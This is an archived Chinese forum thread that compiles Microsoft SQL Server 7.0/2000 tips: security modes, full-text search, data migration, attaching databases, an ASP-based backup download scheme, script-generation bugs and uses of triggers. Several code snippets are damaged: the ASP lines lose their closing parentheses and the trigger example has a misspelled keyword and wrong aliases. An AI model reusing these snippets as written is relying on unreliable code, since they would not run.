ITPUB论坛－专业的IT技术社区

标题: Ms SQL常见问题收集整理集(不断收集中...) [打印本页]

作者: ccwlm741212 时间: 2003-11-12 16:16
标题: Ms SQL常见问题收集整理集(不断收集中...)
Microsoft Corporation

【「Microsoft SQL Server 7.0」以下简称「SQL Server 7.0」】

SQL Server 7.0 有哪几种安全模式?

两种：SQL Server和Windows NT（混合）及Windows NT only。SQL Server 和Windows NT相当于SQL Server 6.5版本的混合模式。Windows NT only相当于SQL Server 6.5 版本的信任模式。在SQL Server 7.0版没有提供相当于SQL Server 6.5版本的标准模式。

SQL Server 6.5的SQL安全管理器（Security Manger）为何在SQL Server 7.0不见了，替代工具是什么?

SQL Server 7.0提供了安全向导（Security Wizard）来取代SQL安全管理器（Security Manger）。

使用SQL Server和 Windows NT（混合）安全模式的优点是什么?

非Windows NT 客户端，Internet 客户端亦可登录。
提供多层保护。
使用Windows NT only安全模式的优点是什么?

用户可以更快速登录SQLServer，而无需另外再记一个密码。
使用NT提供的密码设置功能，如最小密码长度（minimum password length），..
只需为NT组设定帐号和组设置。
如何设置SQL Server 的安全模式?

启动SQL Server企业管理器（Enterprise Manager）。
在控制台（console）树中，展开Microsoft SQL Servers，然后展开SQL Server Group或您设定的组，单击选择要设定的SQL Server。
单击鼠标右键，选择"属性（Properties）"，然后选择"安全（Security）"选项卡。
在Security部分选择"SQL Server and Windows NT"或是"Windows NT only" 。
如何在SQL Server企业管理器中，设置允许一个Windows NT组或用户能登录SQL Server?

在SQL Server企业管理器中，展开要加入Windows NT组或用户帐号的SQL Server，再展开Security 文件夹，选择 login，然后单击鼠标右键，选择快捷菜单中的new login。
选择"General"选项卡，在Name字段中填入"域\帐号"或"域\组"。
在Authentication（身份验证）部分选择Windows NT Authentication（Windows NT身份验证），然后选择domain （域）。
在Default（默认）部分选择预设数据库和语言。
单击"OK（确定）按钮。
如何使用SQL Server存储过程，使一个Windows NT组或用户能登录SQL Server?

sp_grantlogin {'login'}
其中'login" 包含域及组/用户帐号，不可超过128个字符。

设定Windows NT组或用户登录SQL Server时需要注意哪些事项?

如果SQL Server的登录id对应于一个Windows NT组，添加或删除Windows NT组中的用户不需重新建立SQL Server 的登录id。
如果SQL Server的登录id对应于一个Windows NT组或用户，将此Windows NT组或用户删除并不会将此SQL Server 的登录id删除。

作者: ccwlm741212 时间: 2003-11-12 16:18
SQL Server 2000中全文检索的使用(1)

引言

微软的SQL Server数据库是一个在中低端企业应用中占有广泛市场的关系型数据库系统，它以简单、方便、易用等特性深得众多软件开发人员和数据库管理人员的钟爱。但SQL Server 7.0以前的数据库系统由于没有全文检索功能，致使无法提供像文本内容查找此类的服务，成为一个小小的遗憾。从SQL Server 7.0起，到如今的SQL Server 2000终于具备了全文检索功能，使用户可以高效地检索存储在数据库char、varchar、text、ntext、nchar、nvarchar等数据类型列中的文本数据。

建立全文索引

在进行全文检索之前，必须先建立和填充数据库全文索引。为了支持全文索引操作，SQL Server 7.0新增了一些存储过程和Transact-SQL语句。使用这些存储过程创建全文索引的具体步骤如下（括号内为调用的存储过程名称）：

1. 启动数据库的全文处理功能(sp_fulltext_

database);；

2. 建立全文检索目录(sp_fulltext_catalog);

3.在全文检索目录中注册需要全文索引的表(sp_fulltext_table);

4. 指出表中需要全文检索的列名(sp_fulltext_

column);；

5. 为表创建全文索引(sp_fulltext_table);；

6. 填充全文检索目录(sp_fulltext_catalog)。

下面举例说明如何创建全文索引，在本例中，对Test数据库Book表中Title列和Notes列建立全文索引。

use test //打开数据库

//打开全文索引支持，启动SQL Server的全文搜索服务

execute sp_fulltext_database ‘enable’

//建立全文检索目录ft_test

execute sp_fulltext_catalog ‘ft_test’, ‘create’

为Title列建立全文索引数据元，pk_title为Book表中由主键所建立的唯一索引，这个参数是必需的。

execute sp_fulltext_table ‘book’，‘create’, ‘ft_test’，‘pk_title’

//设置全文索引列名

execute sp_fulltext_column ‘book’, ‘title’, ‘add’

execute sp_fulltext_column ‘book’，‘notes’, ‘add’

//建立全文索引

execute sp_fulltext_table ‘book’, ‘activate’

//填充全文索引目录

execute sp_fulltext_catalog ‘ft_test’, ‘start_full’

至此，全文索引建立完毕。

进行全文检索

SQL Server 2000提供的全文检索语句主要有CONTAINS和FREETEXT。CONTAINS语句的功能是在表的所有列或指定列中搜索：一个字或短语；一个字或短语的前缀；与一个字相近的另一个字；一个字的派生字；一个重复出现的字。

CONTAINS语句的语法格式为：

CONTAINS({column | *}), <contains_search

_condition>

作者: ccwlm741212 时间: 2003-11-12 16:18
其中，column是搜索列，使用“*”时说明对表中所有全文索引列进行搜索。Contains_search_

condition 说明CONTAINS语句的搜索内容，其语法格式为：

{<simple_term>|<prefix_term>|<proximity_term>|<generation_term>|<weighted_term>}[{{AND|AND NOT|OR}<contains_search_condition>}] [...n]

下面就simple_term和prefix_term参数做简要说明：

simple_term是CONTAINS语句所搜索的单字或短语，当搜索的是一个短语时，必须使用双引号作为定界符。其格式为：

{‘word’|“ phrase”}

prefix_term说明CONTAINS语句所搜索的字或短语前缀，其格式为：

{“word*” | “phrase*”}

例如，下面语句检索Book表的Title列和Notes列中包含“database”或“computer”字符串的图书名称及其注释信息：

select title, notes

from book

where contains(tilte, ‘database’) or contains(notes，‘database’)

or contains(title，‘computer’) or contains(notes，‘computer’)

FREETEXT语句的功能是在一个表的所有列或指定列中搜索一个自由文本格式的字符串，并返回与该字符串匹配的数据行。所以，FREETEXT语句所执行的功能又称做自由式全文查询。

FREETEXT语句的语法格式为：FREETEXT({column | * }，‘freetext_string’)

其中，column是被搜索列，使用“*”时说明对表中的所有全文索引列进行搜索。Freetext_string参数指出所搜索的自由文本格式字符串。

例如，下面语句使用FREETEXT语句搜索Book表中包含“Successful Life”字符串的数据行：

select title, notes

from book

where freetext(*，‘Successful Life’)

作者: ccwlm741212 时间: 2003-11-12 16:19
SQL Server 7.0数据库的六种数据移动方法(1)

[www.Googln.com 2002-9-11 7:58:40 ]

本人从事的工作是数据库管理员，要维护多台服务器中的数据库，经常把某台服务器中的某个数据库移动到另外一台服务器，对数据的移动有些心得体会，希望和大家共同交流。
1. 通过工具DTS的设计器进行导入或导出
DTS的设计器功能强大，支持多任务，也是可视化界面，容易操作，但知道的人一般不多，如果只是进行SQL Server数据库中部分表的移动，用这种方法最好，当然，也可以进行全部表的移动。在SQL Server Enterprise Manager中，展开服务器左边的+，选择数据库，右击，选择All tasks/Import Data...(或All tasks/Export Data...)，进入向导模式，按提示一步一步走就行了，里面分得很细，可以灵活的在不同数据源之间复制数据，很方便的。而且可以另存成DTS包，如果以后还有相同的复制任务，直接运行DTS包就行，省时省力。也可以直接打开DTS设计器，方法是展开服务器名称下面的Data Transformation Services，选Local Packages，在右边的窗口中右击，选New Package，就打开了DTS设计器。值得注意的是：如果源数据库要拷贝的表有外键，注意移动的顺序，有时要分批移动，否则外键主键，索引可能丢失，移动的时候选项旁边的提示说的很明白，或者一次性的复制到目标数据库中，再重新建立外键，主键，索引。
其实建立数据库时，建立外键，主键，索引的文件应该和建表文件分开，而且用的数据文件也分开，并分别放在不同的驱动器上，有利于数据库的优化。
2. 利用Bcp工具
这种工具虽然在SQL Server7的版本中不推荐使用，但许多数据库管理员仍很喜欢用它，尤其是用过SQL Server早期版本的人。Bcp有局限性，首先它的界面不是图形化的，其次它只是在SQL Server的表（视图）与文本文件之间进行复制，但它的优点是性能好，开销小，占用内存少，速度快。有兴趣的朋友可以查参考手册。
3. 利用备份和恢复
先对源数据库进行完全备份，备份到一个设备（device）上，然后把备份文件复制到目的服务器上（恢复的速度快），进行数据库的恢复操作，在恢复的数据库名中填上源数据库的名字（名字必须相同），选择强制型恢复（可以覆盖以前数据库的选项），在选择从设备中进行恢复，浏览时选中备份的文件就行了。这种方法可以完全恢复数据库，包括外键，主键，索引。
4. 直接拷贝数据文件
把数据库的数据文件（*.mdf）和日志文件（*.ldf）都拷贝到目的服务器，在SQL Server Query Analyzer中用语句进行恢复:
EXEC sp_attach_db @dbname = 'test',
@filename1 = 'd:\mssql7\data\test_data.mdf',
@filename2 = 'd:\mssql7\data\test_log.ldf'
这样就把test数据库附加到SQL Server中，可以照常使用。如果不想用原来的日志文件，可以用如下的命令：
EXEC sp_detach_db @dbname = 'test'
EXEC sp_attach_single_file_db @dbname = 'test',
@physname = 'd:\mssql7\data\test_data.mdf'
这个语句的作用是仅仅加载数据文件，日志文件可以由SQL Server数据库自动添加，但是原来的日志文件中记录的数据就丢失了。

作者: ccwlm741212 时间: 2003-11-12 16:19
SQL Server 7.0数据库的六种数据移动方法(2)

[www.Googln.com 2002-9-11 7:58:40 ]

5. 在应用程序中定制
可以在应用程序（PB、VB）中执行自己编写的程序，也可以在Query Analyzer中执行，这种方法比较灵活，其实是利用一个平台连接到数据库，在平台中用的主要时SQL语句，这种方法对数据库的影响小，但是如果用到远程链接服务器，要求网络之间的传输性能好，一般有两种语句：
1> select ... into new_tablename where ...
2> insert (into) old_tablename select ... from ... where ...
区别是前者把数据插入一个新表（先建立表，再插入数据），后者是把数据插入已经存在的一个表中，我个人喜欢后者，因为在编程的结构上，应用的范围上，第二条语句强于前者。
6. SQL Server的复制功能
SQL Server提供了强大的数据复制功能，也是最不易掌握的，具体应用请参考相关资料，值得注意的是要想成功进行数据的复制工作，有些条件是必不可少的：
1>SQL Server Agent必须启动，MSDTC必须启动。
2>所有要复制的表必须有主键。
3>如果表中有text或image数据类型，必须使用with log选项，不能使用with no_log选项。
另外max text repl size选项控制可以复制的文本和图像数据的最大规模，超过这个限制的操作将失败。
4>在要进行复制的计算机上，应该至少是隐含共享，即共享名是C$或D$…。
5>为SQL Server代理使用的Windows NT帐号不能是一个本地的系统帐号，因为本地的系统帐号不允许网络存取。
6>如果参与复制的服务器在另外的计算机域中，必须在这些域之间建立信任关系。

作者: ccwlm741212 时间: 2003-11-12 16:20
把拷贝过的SQL Server 7数据库恢复的正确方法

[www.Googln.com 2002-11-18 9:36:52 ]

在SQL Server 7中由于MS重新设计了数据库文件的存储方式，取消了新建设备再建数据库这一繁琐的过程。新的存储格式,一个数据库包括两个文件，mdf数据库文件和ldf日志文件。所以我们在重装机器备份时可以把你要备份的数据库的这两个文件拷贝出来，重新安装之后再恢复。
　　在SQL Server中提供了这种恢复方式的存储过程。
1.sp_attach_db [@dbname =] 'dbname',[@filename1 =] 'filename_n'
给系统添加一个数据库，在dbname指定数据库名称，filename＿n指定数据库的文件和日志文件。比如我有一个voogiya的库，停止SQL Server服务备份voogiya_data.mdf,voogiya_log.ldf，启动SQL server,删除掉这个库，然后再把这两上文件拷到sql server　DATA目录中，在Query Analyzer中执行如下语句：
EXEC sp_attach_db @dbname = N'voogiya',
@filename1 = N'd:\mssql7\data\voogiya_data.mdf',
@filename2 = N'd:\mssql7\data\voogiya_log.ldf'
就会把这个库加入到SQL Server Group中.
2.sp_attach_single_file_db [@dbname =] 'dbname',
[@physname =] 'physical_name'
这个命令和上面的功能一样，在physical_name中只要写上据库的物理文件名就可以了，日志文件SQL server会重新建立。这个存储过程的运行要先执行下面的存储过程：
sp_detach_db @dbname = 'dbname'
同样以上面的为例：
EXEC sp_detach_db @dbname = 'voogiya'
EXEC sp_attach_single_file_db @dbname = 'voogiya',
@physname = 'd:\mssql7\data\voogiya_data.mdf'

要注意执行以上存储过程的用户要在sysadmin中.

以上方法在windows Nt 4.0,service pack5,sql server 7.0上运行通过。

作者: ccwlm741212 时间: 2003-11-12 16:21
Sql Server数据库备份的另类解决方案(1)

[www.Googln.com 2002-11-18 9:39:26 ]

一、背景
一旦系统正常运行以后，系统维护最主要工作就是数据安全与可恢复性。本方案（以下提到的数据库均指微软的Sql Server7.0或以上数据库）主要探讨数据库备份与恢复。
一般的数据备份解决方案无非是以下三种：（1）、磁带备份；（2）、双机热备份；（3）、手工备份。作为一般的中小型政府部门和企业采用磁带备份，代价太高，性能价格比不高；普遍采用的可能是双机热备份方案，但是用户可能依然不放心，还需要手工备份，把数据存放到一个与外界断绝联系的可控环境中，这种情况是普通存在的。所以作为双机热备份方案的辅助方案或者在条件限制的情况下，作为双机热备份的替代方案，有必要整理出一套手工备份方案。

二、设计思路
Sql Server数据库本身提供非常方便强大的备份功能（DTS），可以以向导的方式引导用户备份到本地局域网的机器或者远程的机器上，但是现在出现一个问题：就是一旦数据库大了的话，本地局域网备份速度可以接受，可是远程备份，尤其是拨号上网，速度就可能慢，一旦时间过长，网络可能断掉，又得重新备份，能否提出一种方案充分利用Sql Server数据库本身已有的备份功能（DTS），同时又解决备份速度慢的问题，考虑到数据库备份文件的可压缩比率非常高，可以直接对备份文件进行压缩操作，是否更有效率？
下面是设计思路，最后定型取决于两种方式效率的高低。

第一步：利用Sql Server本身带有的备份功能（DTS）把数据库全部或者差额定时备份到某个目录，一旦备份成功，这时候在指定的备份目录下有.bak文件存在；
第二步：利用公司自开发的解压缩组件RichZip把.bak文件压缩成另一个文件.zip文件，RichZip的压缩比等同于WinZip；
第三步：通过Http协议下载.zip文件到本地，按照不同的项目和日期保存；
第四步：如果需要恢复，把.zip文件解压缩成.bak文件，然后再用Sql Server的工具把备份文件恢复；

需要实验解决的几个问题：
1、在同一环境下，直接使用Sql Server的备份工具与这种方案所需要的时间哪一个更长？是否在不同量级里面有不同的结果？
2、是自己利用组件开发一个基于http协议的下载程序，还是直接采用其它的共享下载工具是否更有效率？比如说NetAnts（网络蚂蚁）或者其它下载工具。

说明：
1、该方案只在微软平台上做过实际操作：操作系统Window NT4.0或者以上（推荐使用Win2000），数据库Sql Server6.5或者以上（推荐使用Sql7.0）。

三、实际情况

3.1 实验结果

3.1.1 实验一结果：无论在哪种连接环境下，局域网还是拨号上网，直接使用Sql Server的备份工具与本方案的效率差距都比较大，只是由于数据库小时，直接使用Sql Server的备份工具比本方案方便一些。

以下是一些简单的、不完整的实际操作数据，仅供参考。

操作环境：联想56K调制解调器，上网速度52K，通过SysGate上网，平均3K左右。

库名　　　备份文件大小压缩文件大小　　　　　下载时间
　　　　　　　　　　　　　　Sql备份工具本方案
SoftEnterPrise　27970Kb 　　2109Kb(13.26倍) 　没有耐心等待，强行中断 12分钟
SoftProduct 　　10265Kb 　　739Kb（13.89倍）　18分钟       3分钟
SoftProductHz 　11948Kb 　　930Kb(12.85倍) 　 25分钟       5分钟

作者: ccwlm741212 时间: 2003-11-12 16:21
Sql Server数据库备份的另类解决方案(2)

[www.Googln.com 2002-11-18 9:39:26 ]

实际操作过程中是使用网络蚂蚁下载的，三个库的备份文件一共50MB，压缩后一共不到4MB；使用Sql备份工具，至少需要一个小时左右，而使用要方案最多不超过20分钟，这中间的效率是不可比拟的，还不包括在使用Sql备份工具时如果断网造成的延时。

3.1.2 实验二结果：建议使用专门的下载工具，如网络蚂蚁或者其它下载工具，是基于如下考虑：A、专门的下载工具功能强大，提供断点续传、多线程、定时下载等许多功能；B、许多用户都会使用，而且非常熟练，不需要再培训；C、比较稳定，如果自己要开发下载程序的话，一个是功能不强大，另外需要一段相当长的测试时间，需要投入时间与精力，不合算。如果是因为集成或者产品化的原因，可以考虑做一个相对简单的下载程序，与其它应用结合，或者开发一个管理备份文件的程序，管理起来比较方便。

3.2 服务器配置及源码
3.2.1 服务器端配置
3.2.1.1 Sql Server的配置：
-先建立Device(设备)；
-然后备份具体的数据库到Device(设备)中，可以选择备份的时间及备份的方式；
重复上述操作，直到做好所有需要备份的数据库配置。
注意事项：
1、备份文件存在的目录不要让用户能通过Http协议访问到；
2、根据实际需要选择全额备份还是差额备份以及定时操作；
3、如果系统备份以后，备份目录下就会出现.bak文件。
3.2.1.2 虚拟目录的配置
-为备份系统建立一个虚拟目录，如BackUp，一定要加上挑战反应，不允许匿名访问，这样访问时就需要输入系统管理员的用户名和密码，增强安全性。
3.3 源码
实现思路：为了保护数据的安全性，在3.2.1.2中要把备份系统的虚拟目录设成不允许匿名访问，需要系统管理员的密码；另外在3.2.1.1注意事项中1提到的不让备份文件存在的目录让用户能通过Http协议访问到，需要在生成下载文件后临时生成一个虚拟目录，下载完毕后再删除掉，确保安全。
一共包括四个文件，BackSet.asp、BuildvDir.asp、DelvDir.asp、BackList.asp。
-BackSet.asp：选择要建立临时下载虚拟目录的站点，同时临时给定下载虚拟目录的名称；
- BuildvDir.asp：根据BackSet.asp文件给定的站点和虚拟目录名称，建立虚拟目录；
-DelvDir.asp：删除在BackSet.asp文件给定的站点中的虚拟目录；
-BackList.asp：压缩备份文件，建立对应的被压缩后备份文件的下载链接；，
3.3.1 BackSet.asp文件解释
3.3.1.1 源码
…
<body bgcolor="#EEEEEC">
<center>
<font size=4>生成或者删除**项目备份数据库虚拟目录</font>
</center>
<hr size=1>
<br>

<center>
<form name="BackForm" method="Post">
<table border=1 width=70%>
<tr>
<td width=40% align=center>
<font size=2>
请选择要使用的站点名称：
</font>
</td>
<td>
   <select Name="WebSiteIndex">
   <%
   dim ObjServer

作者: ccwlm741212 时间: 2003-11-12 16:21
dim obj3W
dim sServerName
set ObjService=GetObject("IIS://" & Request.ServerVariables("SERVER_NAME"

& "/W3SVC"

   for each obj3w in objservice
         if IsNumeric(obj3w.Name) then
                  sServerName=Obj3w.ServerComment
                  if Instr(sServerName,"管理 WEB 站点"

=0 then
                     sServerName=obj3w.Name & "-" & Obj3w.ServerComment
%>
                  <option value="<%=obj3w.Name%>"><%=sServerName%>
<%
                  end if
         end if
   next
   set ObjService=Nothing
   %>
   </select>
</td>
</tr>
<tr>
   <td width=40% align=center>
   <font size=2>
   请输入备份操作的虚拟目录名称：
   </font>
   </td>
   <td>
   <input Type=text name="vDir" value="SrrdBackUp" size=42>
   </td>
</tr>
</table>
<br>
<br>
<input type=button Name="Build" value="生成虚拟目录">
<input type=button Name="Del" value="删除虚拟目录">
</form>
</center>
</body>
</html>

<script language=vbs>
   Sub Build_Onclick()
   '生成临时虚拟目录
         if Trim(document.BackForm.vDir.value)="" then
                  msgbox "请输入虚拟目录名称！",16,"错误"
                  exit sub
         else
                  document.BackForm.action="BuildvDir.asp"
                  document.BackForm.submit
         end if
   end sub
   Sub Del_Onclick()
   '删除临时生成的虚拟目录
         if Trim(document.BackForm.vDir.value)="" then

作者: ccwlm741212 时间: 2003-11-12 16:22
Sql Server数据库备份的另类解决方案(4)

[www.Googln.com 2002-11-18 9:39:26 ]

msgbox "请输入虚拟目录名称！",16,"错误"
                  exit sub
         else
                  document.BackForm.action="DelvDir.asp"
                  document.BackForm.submit
         end if
   end sub
</script>
…
说明：
1、由于在实际过程中，经常是关闭缺省网站或者一台机器上有多个网站存在，提取IIS中站点，可以让使用者选择不同的站点下建立虚拟目录；
2、要用代码对IIS进行操作，需要ADSI的配合；
3、要对IIS进行操作，必须有系统管理员的权限，所以加挑战反应既是为了安全，也是实际需要。
3.3.1.2 界面，见图一

图一

3.3.2 BuildvDir.asp文件解释
3.3.2.1 源码
…
<%
         dim iWWWIndex '站点顺序
         dim vDirName             '虚拟目录名称
         dim pDirName             '对应的物理目录名称
         dim sDefaultPage '虚拟目录使用的缺省页面名称
         '获得要使用的站点顺序
         iWWWIndex=Request.Form("WebSiteIndex"

'获得要生成的虚拟目录名称
vDirName=Request.Form("vDir"

         '当前文件物理路径
         pDirName=request.servervariables("Path_Translated"

pDirName=Left(pDirName,instrrev(pDirName,"\"

-1)
         '缺省页面名称
         sDefaultPage="BackList.asp"
         if CreateVirtulDir(iWwwIndex,vDirName,pDirName,sDefaultPage)=false then
         '建立系统虚拟目录失败
         %>
                  <script language=vbs>
                        msgbox "创建虚拟目录失败!",16,"错误"
                        window.history.back
                  </script>
         <%
         else
         %>
                  <script language=vbs>

作者: ccwlm741212 时间: 2003-11-12 16:23
SQL脚本生成的一些BUG(1)

[www.Googln.com 2002-8-26 16:16:32 ]

微软的SQL脚本生成令我伤透了心……我一直以为是我的程序上的问题，或者我操作上的失误，
并且，客服务人员屡屡埋怨我的程序bug，多次测试之后，靠，原来都是微软惹的祸……

Sql Server 的脚本生成有不少漏洞，经常由它生成的脚本运行起来却有错误。下面举例说明：

1、并没有根据sysdenpends的依赖关系生成SQL代码，而是根据“优先级”（呵呵，所谓的优先级）来生成。
比如：他认为view的优先级就要比function高。
那么，我写了下面的测试程序，形成如下的依赖关系：fnT1 <-- vwT1 <-- fnT2
就是，view vwT1处于依赖的中间。
------------------------------------
Create function fnT1()
Returns Integer
As
begin
Return 123
end
go

Create view vwT1
As
Select aa=dbo.fnT1()

Go

Create function fnT2()
Returns Table
As
Return (Select * From vwT1)
Go
-------------------------------------
运行到数据库之后，用Enterprise生成SQL代码。（选项不一样，会有所不同，我没有选数据库和用户的）
-----------------------------------------------------------------------------------
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[fnT1]') and xtype in (N'FN', N'IF', N'TF'))
drop function [dbo].[fnT1]
GO

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[fnT2]') and xtype in (N'FN', N'IF', N'TF'))
drop function [dbo].[fnT2]
GO

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[vwT1]') and OBJECTPROPERTY(id, N'IsView') = 1)
drop view [dbo].[vwT1]
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

Create view vwT1
As
Select aa=dbo.fnT1()

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

Create function fnT1()
Returns Integer
As
begin
Return 123
end

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON

作者: ccwlm741212 时间: 2003-11-12 16:24
SQL脚本生成的一些BUG(2)

[www.Googln.com 2002-8-26 16:16:32 ]

GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

Create function fnT2()
Returns Table
As
Return (Select * From vwT1)

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO
-----------------------------------------------------------------------------
呵呵，一眼你就可以看出来了，建立view要比建立function先。而不是根据依赖关系建立……
毫无疑问，将会得到如下的错误：（这个错误可真严重！害得我好惨……）
---------------------------------------------------
服务器: 消息 208，级别 16，状态 1，过程 vwT1，行 4
对象名 'dbo.fnT1' 无效。
服务器: 消息 208，级别 16，状态 1，过程 fnT2，行 5
对象名 'vwT1' 无效。
---------------------------------------------------
2、作业脚本。

这个我就不说了，bug还不是很严重，主要是中文“--”注释符的问题，英文版我没有测试过，不过猜想应当没有这个bug。
大家可以试试看。

3、还有一个SP的问题。

大家看过我的精华里面有spGetIDStr和spAnalyseStrList了吧，关系是后者依赖于前者。可是spGetIDStr我并没有调用任何的表。
因此，每当运行Sql Server生成的脚本的时候，总是报告（大概是这样的信息）：
------------------------------------------------------------------------
spGetIDStr并不存在，无法在sysdepends里建立依赖关系，存储过程spAnalyseStrList仍然建立。
--------------------------------------------------------------------------
无论我手工修改他的建立顺序还是什么的，用它生成的脚本就是有错。呵呵，这个破微软！
这里，再看看第三个bug，看我下面的测试程序：
（原理：当sp没有对表或视图等数据库对象有依赖关系的时候，sp被别的sp引用的时候也将无法建立依赖关系）
形成依赖关系：spB1 <--- spA1
------------------------------------------------------------------------
Create Proc spB1
As
Return 11

Go

Create proc spA1
As
Begin
Declare @i int
Exec @i=spB1
Return @i*2
End
Go
-------------------------------------------------------------------------
生成的脚本就为：
-------------------------------------------------------------------------

作者: ccwlm741212 时间: 2003-11-12 16:24
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[spA1]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[spA1]
GO

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[spB1]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[spB1]
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

Create proc spA1
As
Begin
Declare @i int
Exec @i=spB1
Return @i*2
End

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

Create Proc spB1
As
Return 11

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

-------------------------------------------------------------------------
嘻嘻。大家这回应当明白我故意命名为spA1,spB1缘故了。因为如果没有依赖关系的话，A自然排在B前面，你看微软可不就是这么做的么？
呵呵，发现微软的工程师有时候也好笨……：），你看spA1就建立在spB1的前面，而不是它的实际关系（她根本没有在sysdepends里面写）
幸好这个bug还不是很大，怎么说SP还是建立了起来。

作者: magicangel 时间: 2003-11-12 22:54
呵呵，我以前都看过的，是不是很博学？

作者: ccwlm741212 时间: 2003-11-13 10:44

最初由 magicangel 发布
[B]呵呵，我以前都看过的，是不是很博学？ [/B]

应该看过的，我只想整理在一起让朋友们看看，方便一下别人！

你看我三个代表学的不错吧！

作者: yanlaowu 时间: 2003-11-14 15:50
都是不错的经验，谢谢

呵呵，楼上的同志不愧是学习三个代表的先进分子

作者: 2896995 时间: 2003-11-15 10:37
太好了，不過能整理一下就更好了，呵呵。分開那麼多貼子發，有點。。。。。

作者: chencms 时间: 2003-11-15 10:56
热心人啊，信息资源共享，大家共同进步

作者: magicangel 时间: 2003-11-16 00:21
大家很支持你啊，ccw斑竹，掌声鼓励，继续啊。

作者: ccwlm741212 时间: 2003-11-21 08:17
---(XZH2000)

视图分可更新视图与不可更新视图，
如果视图是从一个表得来的，一般来说各种大型数据库都支持，
如果视图是从多个表得来的，一次只能修改其中的一个表MSSQL支持，ORACLE也可以。

修改视图一般使用instead of触发器。
create table a1(id int,name varchar(20))
craete table a2(id int,age tinyint)
go
create view v_a1_a2(id,name,age)
as
select a.id,a.name,b.age from a1 a,a2 b where a1.id=a2.id
go
create trigger tri_ins_v1
instead of insert
as
begin
insert into a1 select id,name from inserted
insert into a2 select id,age from inserted
end

作者: ccwlm741212 时间: 2003-11-23 12:53
触发器的几种应用

李振华　李贵龙　刘涯

　　摘　要　列举了触发器的几种代表性应用：数据分散—集中式模型的设计，历史数据的导出，应用系统间的数据接口。并对如何设计这些触发器进行了探讨。
　　关键词　触发器，数据分散—集中模型，历史数据导出，数据接口

1　引言
　　在大型数据库设计中，会经常用到触发器。它的特点是：一旦被定义，就存在于后台数据库系统（server，服务器方）中，并会在相应条件下自动地隐式执行，从而使得它的设计既与前台（client，客户机方）的平台无关，又免除了前台相关的数据操作设计。
　　在文献［1］中，列举了触发器的几种应用：审计;复杂的完整性约束;复杂的安全性授权;事件登录;列值导出;分布式数据库中表复制。

2　触发器的另外几种应用
2.1　数据分散——集中式模型设计
　　在实际开发过程中，经常遇到这样的数据维护要求：单位由多个部门组成，要求各部门只能维护本部门的数据，但另一方面，又需要将分散到各部门的数据集中起来进行汇总，得到本单位的汇总数据。如一个学校有多个系，学校需要各系的成绩汇总；一个工厂有多个生产车间，工厂需要各车间的产量汇总；一个公司有多个销售部门，公司需要各部门的销量汇总等等。
　　在这种情况下，如果不使用触发器的话，数据库设计就存在困难：
　　. 如果为每个部门都建立一个表，显然难以得到汇总的数据（在这种情况下，无法利用视图机制）；
　　. 如果所有的部门都共享一个表的话（这时，这张表中的数据实际就是汇总的数据），因为每个部门需要维护数据，所以都对这个表有修改权，因此在数据安全上难以控制。
　　使用触发器的话，上述问题便可迎刃而解：为每个部门建立一个表（该部门的所有权限只限于对此表有修改权），再为汇总数据也建立一个表，然后在每个部门表上建立触发器，使得部门表上有数据更新时，便会对应地更改汇总表中的相关数据（见图1）。

图1　触发器应用于数据分散——集中式模型

　　在这种模型中，要注意设计好部门表相关字段的完整性约束，使各部门表内的数据是唯一的，以防止不同部门表出现相同的数据记录，从而导致在汇总表中出现混乱。

2.2　历史数据导出
　　数据库中的表只记载最新的数据，而不记载历史数据。但在很多情况下，历史数据的记载与分析反而比现实数据更有意义（这也正是数据仓库与数据库的区别之一），比如学校中学号的变动，工厂定额的更改，公司产品和原材料价格的变化、股票的升跌等等，它们都需要记录历史数据。
　　如何使数据库也能记载历史数据呢？使用触发器可以解决这类问题。
　　建立这类触发器的步骤是：建立数据表后，再建立对应的历史表（一般而言，历史表在字段组成上是数据表的超集，即在原数据表字段上再增加有关时间的字段），然后在两者之间设立触发器（见图2）。这样，每当数据表有数据变动，触发器便将变动的数据记入历史数据表中，从而达到自动记录历史数据的目的。

图2　历史数据的导出模式

2.3　应用系统间的数据接口
　　一个完整的信息系统的建设一般不是一步到位的，往往是分期分批完成，而不同期次的系统往往又会有数据传递，然而由于需求发生变化或是其他原因，不同期次系统的数据库设计在表结构甚至字段上的设计都可能会互不一致（即使是在同一期的开发过程中，由于总体设计或数据字典方面的偏差或不足，或者需要集成多家系统，这种现象也会经常出现）。在不可能重建这些系统的情况下，它们之间的数据能无缝传递吗？换言之，它们之间能够做到无缝连接吗？

　　在这种情况下，触发器可以是一种较好的解决方式：建立中间表，中间表的设计符合需方应用系统的设计格式，而它的数据又与供方应用系统的数据保持一致。（见图3）

图3　中间作为不同应用系统间的数据接口

　　要注意的一点是：图示应用系统间的数据是单向流动的（即数据传递）；如果数据需要双向流动（即数据交换），那么在触发器设计中应有退出机制，以避免发生触发器的递归。

3　结语
　　触发器对数据库开发过程中遇到的问题，往往会有独到的解决方法。触发器能使数据库的设计变得简洁和高效。文中的3个例子，代表了触发器3个方面的典型应用。

作者简介：李振华　硕士，讲师。现从事计算机网络及数据库的教学与科研工作。

作者单位：中国地质大学网络中心　湖北.武汉（430074)

参考文献
［1］　沈佩娟，汤荷美,编著. 数据库管理及应用开发(第1版).北京：清华大学出版社，1995,6

作者: ccwlm741212 时间: 2003-11-23 12:54
ODBC中的同步与异步执行模式

--------------------------------------------------------------------------------

1．引言
